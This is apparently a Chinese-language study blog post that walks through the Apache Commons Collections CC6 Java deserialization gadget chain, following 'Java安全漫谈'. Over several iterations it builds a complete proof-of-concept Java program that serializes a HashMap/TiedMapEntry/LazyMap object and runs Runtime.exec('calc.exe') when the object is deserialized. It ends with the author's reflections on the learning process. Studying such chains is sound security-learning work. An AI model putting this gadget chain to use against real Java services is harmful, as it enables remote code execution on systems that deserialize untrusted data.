目录……
标题要大于5个字,弄了一会,,原来是最上面的标题。
1. 前言…
接着P神的CC1,往后分析,CC1是真能够解决
8u71
之前的使用的,遇到的问题就是
CC1
用到了
AnnotationInvocationHandler
类,但是
AnnotationInvocationHandler
类的
readObject()
方法在
8u71
以后逻辑就发生了改变,不能再利用了,所以需要找一个可以解决
高版本Java
的利用链。
先看P神的简化调用链:
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
看着链子大致就能懂了,反序列化的对象是
HashMap
对象。联想一下
URLDNS
,
HashMap
的
readObject
中调用了
hash()
,
hash()
函数中调用了
key
的
hashCode()
,
TiedMapEntry
的
hashCode()
函数:
我们需要看的主要是从最开始到
org.apache.commons.collections.map.LazyMap.get()
的那⼀部分,因为
LazyMap#get()
后⾯的部分在上⼀篇⽂章⾥已经说了
所以简单来说,
解决Java高版本利用问题,就是找上下文中是否还有其他调用
LazyMap#get()
的地方
, ,
get()
不存在的键的时候,就会调用
transform()
方法,
2. 分析CC6…
我们找到的类是
org.apache.commons.collections.keyvalue.TiedMapEntry
,在其
getValue()
⽅法中调⽤了
this.map.get()
,⽽其
hashCode⽅法
调⽤了
getValue⽅法
。
2.1 TiedMapEnrty…
还是看一下源码:
翻译:
一个绑定到下面的map的一个map entry,它能让一个map enrty 来改变底层map,然后,这可能会弄乱任何一个迭代器。
。 翻译的一塌糊涂,,,
/**
* A Map Entry tied to a map underneath.
* <p>
* This can be used to enable a map entry to make changes on the underlying
* map, however this will probably mess up any iterators.
*
* @since Commons Collections 3.0
* @version $Revision: 1.5 $ $Date: 2004/04/09 14:35:10 $
*
* @author Stephen Colebourne
*/
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
构造方法: 翻译:
用给定的map和key来创建一个新的entry
/**
* Constructs a new entry with the given Map and key.
*
* @param map the map
* @param key the key
*/
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
hashCode()
/**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
*
* @return a suitable hash code
*/
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
getvalue()
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
public Object getValue() {
return map.get(key);
}
这里的
map
,我们应该是要替换为
LazyMap
的
所以,要触发
LazyMap
利用链,那么就是要找哪里利用了
TiedMapEntry#hashCode()
。
这个是
HashMap
的
hash()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
ysoserial
中,是利⽤
java.util.HashSet#readObject
到
HashMap#put()
到
HashMap#hash(key)
最后到
TiedMapEntry#hashCode()
。
实际上 P神 发现,在
java.util.HashMap#readObject
中就可以找到
HashMap#hash()
的调⽤,去掉了最前⾯的两次调用,然后给
HashMap
传入参数是
TiedMapEntry
,然后走
TiedMapEntry#hashCode()
。然后
TiedMapEntry#getValue()
。然后
LazyMap#get()
。。
需要我们给
HashMap
传入参数是
TiedMapEntry
。给
TiedMapEntry
传参
LazyMap
。
/**
* Reconstitute the {@code HashMap} instance from a stream (i.e.,
* deserialize it).
*/
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
readObject()
中就有
hash(key)
, 那么我们就让这个
key
是
TiedMapEntry
就行了
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
TiedMapEntry
的构造方法和
getValue
, 那么 这个的第一个参数就是
LazyMap
了。
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
来Gadget!
2.2 开始构造 poc
先来上 CC1 的后边部分 ,这个是
LazyMap.put()
方法触发计算器的那个东西,
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc6demo1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc.exe"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
Object o = outerMap.get("1");
}
}
我一开始写的这个,和feng师傅一样,,
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc6demo1 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc.exe"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
Map map = new HashMap<>();
map.put(tme,"value");
byte[] bytes = serialize(map);
System.out.println(bytes.toString());
unserialize(bytes);
}
private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
ois.readObject();
}
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
// 这里是用 ByteArrayOutputStram()来盛放。
ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
oos.writeObject(o);
return baos.toByteArray();
}
}
出现的第一个问题就是,我在这里就直接弹计算器了,后来P神说是intellij在debug的时候会调用一些
toString()
,然后就会执行
map.put(tme,"value");
就利用了一下P神的思路,在序列化之前用一个没影响的
Transformer[]
,也就是
fakeTransformers
,
为了避免本地调试时触发命令执
⾏,我构造
LazyMap
的时候先⽤了⼀个⼈畜⽆害的
fakeTransformers
对象,等最后要⽣成
Payload
的
时候,再把真正的
transformers
替换进去
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc6demo1 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
//这两个哪一个都行
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
Map map = new HashMap();
map.put(tme,"value");
byte[] bytes = serialize(map);
System.out.println(new String(bytes));
unserialize(bytes);
}
private static void unserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
return baos.toByteArray();
}
}
但是没有弹出来计算器啊。。
2.3. 为什么没有弹出来计算器
你会发现关键点在
LazyMap的get⽅法
,下图我画框的部分,就是最后触发命令执⾏的
transform()
,但是这个if语句并没有进⼊,因为
map.containsKey(key)
的结果是
true
这是为什么呢?
outerMap
中我并没有放⼊⼀个
key
是 keykey 的对象呀?我们看下之前的代码,唯⼀出现 keykey 的地⽅就是在
TiedMapEntry
的构造函数⾥,
但
TiedMapEntry
的
构造函数
并没有修改
outerMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
Map map = new HashMap();
map.put(tme,"value");
其实,这个关键点就出在
expMap.put(tme, "valuevalue");
这个语句⾥⾯。
HashMap
的
put
⽅法中,也有调⽤到
hash(key)
:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
这⾥就导致
LazyMap
这个利⽤链在这⾥被调⽤了⼀遍,因为我前⾯⽤了
fakeTransformers
,所以此时并没有触发
命令执⾏
,但实际上也对我们构造
Payload
产⽣了影响。我们的解决⽅法也很简单,只需要将
adamkey
这个
Key
,再从
outerMap
中移除即可:
outerMap.remove("keykey")
最后的poc 。 但是 凭空多了后面的反射,下面会进行讲解
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc6demo1 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
//这两个哪一个都行
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
Map map = new HashMap();
map.put(tme,"value");
outerMap.remove("adamkey");
//
Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
//换上真的 transformers
field.set(chainedTransformer,transformers);
byte[] bytes = serialize(map);
System.out.println(new String(bytes));
unserialize(bytes);
}
private static void unserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
return baos.toByteArray();
}
}
2.4 理解最后的反射,讲解
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
这个
ChainedTransformer
的
iTransformers
是一个私有属性,前面说了,put的时候,调用了一次
LazyMap
了,只不过我们传入的是
faketransformers
所以没有影响,然后后面
LazyMap
中有了键名,然后我们
remove
掉,
然后再次修改
ChainedTransformer
的
iTransformers
这个属性,但是这里是
private
属性,然后我们只想修改属性,不想再次new一个出来,所以,就
类属性
.
set(类对象,值)
就是给
chainedTransformer
对象的
iTransformers
属性,赋予
transformers
的值,
这个是之前的样子,
ChainedTransformer
的构造方法就是将参数给
iTransformers
,所以这两个的效果是一样的。
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
2.4.1 反射 filed.set…
反射的 Field 类的 set 方法,第一个参数是对象,然后第二个参数才是我们要给这个 field 属性设置的值。
public void set(Object obj, Object value)
throws IllegalArgumentException, IllegalAccessException
{
这个和
Method.invoke(对象实例,参数)
巨像无比,
启示:遇到不懂的用法,千万不要逃避,要去看源码,源码中有解释的
3. 反思…
为什么我自己没有写出来,
开始的 时候,我写的poc和feng师傅的一样,但是之后我就不会了。就看答案了。但是feng师傅它就自己摸索
那么后面换成了
faketransformer
之后呢.我就没有了思考了。没有想到 要把 fake 换为真的,然后换为真的的时候,需要使用
反射
来操作,原因就是那个属性是
private
,
并且 我对于 Filed 的 反射设置属性的值不会,而且中间差点放弃,以后遇到困难,首先要想到去看源码
缺点111111…
没有自己独立思考,总爱看别人的思路
缺点22222…
遇到困难,应该要首先看源码
4.这个是没有版本限制的
最强的,竟然没有用到 那个 Anno 的反射,,,?。
5. 参考
《Java安全漫谈》
https://y4tacker.blog.csdn.net/article/details/117456813
https://ego00.blog.csdn.net/article/details/119739082